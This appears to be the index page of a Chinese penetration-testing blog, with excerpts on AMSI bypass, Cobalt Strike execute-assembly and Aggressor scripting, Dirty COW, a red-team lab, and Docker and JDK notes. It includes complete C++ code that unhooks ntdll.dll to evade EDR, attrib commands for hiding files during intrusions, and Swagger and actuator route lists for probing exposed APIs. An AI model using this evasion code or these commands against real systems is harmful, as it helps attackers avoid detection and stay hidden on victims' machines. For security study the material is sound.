wubba lubba dub dub.
post @ 2022-02-16

Bypass AMSI

AMSI介绍

反恶意软件扫描接口(Antimalware Scan Interface)简称AMSI,是微软在Windows中阻止恶意脚本执行的解决方案。AMSI通过分析将要执行的脚本,然后根据是否发现恶意内容来决定执行或者阻止。

下面是微软官方的介绍:

引自:https://docs.microsoft.com/zh-cn/windows/win32/amsi/antimalware-scan-interface-portal

1
2
3
Windows反恶意软件扫描接口 (AMSI) 是一种通用接口标准,可让应用程序和服务与计算机上存在的任何反恶意软件产品集成。 AMSI 为最终用户及其数据、应用程序和工作负荷提供增强的恶意软件防护。
AMSI 与反恶意软件供应商无关;它旨在允许当今反恶意软件产品提供的最常见恶意软件扫描和保护技术,这些反恶意软件产品可以集成到应用程序中。 它支持调用结构,允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术。
AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。 例如,恶意有效负载的不同片段可以关联起来,以做出更明智的决策,仅通过单独查看这些片段,这更难到达。

目前,在Windows10中以下组件已经集成了AMSI:

  • 用户帐户控制,或 UAC (EXE、COM、MSI 或 ActiveX的)
  • PowerShell (脚本、交互式使用和动态代码评估)
  • Windows脚本主机 (wscript.exe和cscript.exe)
  • JavaScript 和 VBScript
  • OfficeVBA 宏

并且 从 Windows 10 上运行的 .NET Framework 4.8 开始,运行时通过实现反恶意软件扫描接口(AMSI) 的反恶意软件解决方案来触发扫描。https://docs.microsoft.com/zh-cn/dotnet/framework/whats-new/

AMSI的架构(图片来自微软官方)

Read More

前言

Cobalt Strike 从3.11开始增加了一个叫“execute-assembly”的命令,这个命令能够从内存中直接加载.net程序集执行。由于没有文件落地,十分隐蔽,在实战当中应用非常广泛。本文会对Cobalt Strike的execute-assembly命令的执行过程进行分析,并且结合现有的开源项目对此技术的原理进行简单介绍。

基础知识

1.CLR

全称Common Language Runtime(公共语言运行时),是一个可由多种编程语言使用的运行环境

CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:

  • 在CLR监视之下运行的程序属于”托管的”(managed)代码
  • 不在CLR之下、直接在裸机上运行的应用或者组件属于”非托管的”(unmanaged)的代码

2.Unmanaged API

参考资料:

https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/

Read More
post @ 2021-12-29

通过从磁盘读取 ntdll.dll 的 .text 部分并将其放在映射到内存中的 ntdll.dll 的 .text 部分的顶部,可以完全解钩(unhook)加载到内存中的任何给定 DLL。这可能有助于bypass一些依赖用户态 API 挂钩的 EDR 解决方案。

概述

解钩DLL的过程如下面所示。假设ntdll.dll被钩(hook)住了,现在我们来演示如何解钩(unhook):

  1. 将ntdll.dll的全新副本从磁盘映射到内存。
  2. 找到被钩住的 ntdll.dll 的 .text 部分的虚拟地址(先找到ntdll.dll的基地址,然后用基地址加上.text部分的偏移地址就得到了.text部分的虚拟地址)。
  3. 找到新映射的ntdll.dll的.text部分的虚拟地址。
  4. 获取被挂钩模块的 .text 部分的原始内存保护
  5. 将 .text 部分从新映射的 dll 复制到原始(挂钩)ntdll.dll 的虚拟地址(在第 3 步中找到) - 这是解钩的主要内容,因为所有挂钩字节都被磁盘中的新字节覆盖。
  6. 将原始内存保护应用到原始 ntdll.dll 的解钩的 .text 部分。

下面是一个简化图,说明了该技术的核心概念,其中 ntdll.dll 的挂钩 .text 部分被替换为磁盘上 ntdll.dll 的 .text 部分的干净副本:

img

代码

下面的代码是解钩ntdll.dll的示例,你可以将它修改成解钩任何DLL的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

int main()
{
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}

CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);

return 0;
}

请注意,上面的代码没有映像基址重定位。尽管 ntdll.dll 在其 .text 部分中没有任何要重定位的内容,但在处理其他 dll 时可能需要它。

Read More
post @ 2021-12-29

一、路由地址及接口调用详情泄漏

开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记切换配置环境,导致此漏洞

直接访问以下几个路由,验证漏洞是否存在:

1
2
3
/api-docs
/v2/api-docs
/swagger-ui.html

一些可能会遇到的接口路由变形:

1
2
3
4
5
6
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

1
2
3
4
5
6
7
8
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops

一般来讲,直到 spring boot 应用的相关接口和传参信息并不能算是漏洞;

但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。

Read More

红日安全红队靶场(三)一次简单的内网渗透

1
本文首发在个人公众号:白帽技术与网络安全

靶场介绍及配置

这是红日团队的第三套靶场(靶场下载地址见文末),本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和两台Linux机器。

靶场拓扑如下:

img

网卡配置

在虚拟机的网络编辑器中添加两个host only网卡,ip段分别为192.168.1.0/24和192.168.93.0/24

img

服务器渗透

Read More
post @ 2021-07-23

Docker常用命令速查

1. 查看镜像

1
docker images

或者

1
docker image ls

2.查看容器

查看运行中的容器

1
docker container ls

或者

1
docker ps
Read More
post @ 2021-07-20

文件隐藏的小技巧

为了渗透过程的隐蔽性,我们常常需要将文件进行隐藏处理。下面总结了几条常用的命令,以备不时之需。

将单个文件变成隐藏的系统文件

1
attrib "文件名" +s +h

将当前目录下的所有文件和文件夹都隐藏:

1
attrib +h +s * /s /d
  • attrib 命令用来修改文件的属性
  • +s 参数将文件设置为系统文件
  • +h 参数将文件设置为隐藏文件
  • /S /D 可以对该目录下所有匹配的文件和文件夹执行属性

懂一点技术的用户都知道如何显示隐藏文件,但很少会注意到要显示「隐藏受保护的操作系统文件」,而且进行取消勾选「隐藏受保护的操作系统文件」操作时,系统会弹出一个措辞颇为严厉的警告窗口,足以将大部分普通用户吓阻回去。

还原的命令如下:

1
2
attrib "文件名" -s -h
attrib -h -s * /s /d
Read More
post @ 2021-07-14

脏牛提权

漏洞原因

Dirty COW漏洞是一种发生在写时复制竞态条件漏洞。

详细分析参考链接

https://blog.csdn.net/hbhgyu/article/details/106245182

漏洞危害

低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围

Linux kernel 2.x through 4.x before 4.8.3

验证漏洞是否存在

Read More
post @ 2021-07-14

当Linux无法出网时,需要手动上传jdk压缩包来安装Java环境

创建安装目录

1
mkdir /usr/local/java/

将压缩包解压至安装目录

1
tar -zxvf jdk-11.0.11_linux-x64_bin.tar.gz -C /usr/local/java/

打开环境变量文件

1
vim /etc/profile

在末尾追加

1
2
3
4
export JAVA_HOME=/usr/local/java/jdk-11.0.11
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

使环境变量生效

Read More

AGGRESSOR SCRIPT官方文档翻译-3. Data Model

Cobalt Strike的团队服务器存储您的主机、服务、凭证和其他信息。 它还广播该信息,并使其对所有客户端可用。

数据 API

使用 &data_query功能查询Cobalt Strike的数据模型。该功能可以访问Cobalt Strike客户端维护的所有状态和信息。使用&data_keys 来获得你可能查询的不同数据片段的列表。此示例查询Cobalt Strike数据模型中的所有数据,并将其导出到一个文本文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
command export {
# 注册命令
local('$handle $model $row $entry $index');
# 声明局部变量
$handle = openf(">export.txt");
# 打开一个文件句柄
foreach $model (data_keys()) {
# 遍历数据模型
println($handle, "== $model ==");
println($handle, data_query($model));
}

closef($handle);
# 关闭文件句柄
println("See export.txt for the data.");
}

控制台执行:

image-20210710090308507

导出的数据:

image-20210710090246700

Cobalt Strike提供了几个函数,可以更直观地使用数据模型。

Read More
⬆︎TOP